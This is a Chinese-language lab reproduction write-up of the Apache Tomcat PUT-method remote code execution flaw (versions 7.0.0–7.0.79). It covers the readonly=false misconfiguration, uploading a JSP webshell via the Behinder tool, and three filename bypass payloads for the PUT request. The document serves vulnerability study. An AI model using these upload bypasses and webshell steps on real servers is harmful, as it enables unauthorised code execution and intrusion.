Apache Tomcat 7.0.0版本至7.0.79版本存在远程代码执行漏洞。当上述版本的Tomcat启用HTTP PUT请求方法时,远程攻击者可以构造恶意请求利用该漏洞向服务器上传包含任意代码执行的jsp文件,并被服务器执行该文件,导致攻击者可以执行任意代码。
影响范围: Apache Tomcat 7.0.0 - 7.0.79 Apache Tomcat/8.5.19

漏洞原理

当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产生,(需要允许put请求)

漏洞复现

  1. 启动内部靶场

  1. 访问站点,并抓包

  1. 上传websell

这里使用冰蝎,主要是冰蝎自带多种类型的webshell,这里使用jsp格式的。
支持三种上传绕过方式,默认使用 PUT 加文件名是失败的,需要绕过:

  • PUT /shell.jsp%20
  • PUT /shell.jsp::$DATA
  • PUT /shell.jsp/

  1. 发送数据包,看到是201响应码,应该是成功了。试着访问一下webshell地址

  1. 连接冰蝎

常见 Web 中间件及其漏洞概述:IIS

web中间件漏洞之IIS篇

Java安全-Java Vuls(FastjsonWeblogic漏洞复现)

Web中间件漏洞之jBoss篇

Web安全:中间件漏洞

中间件安全Apache&IIS解析&短文件&CVE漏洞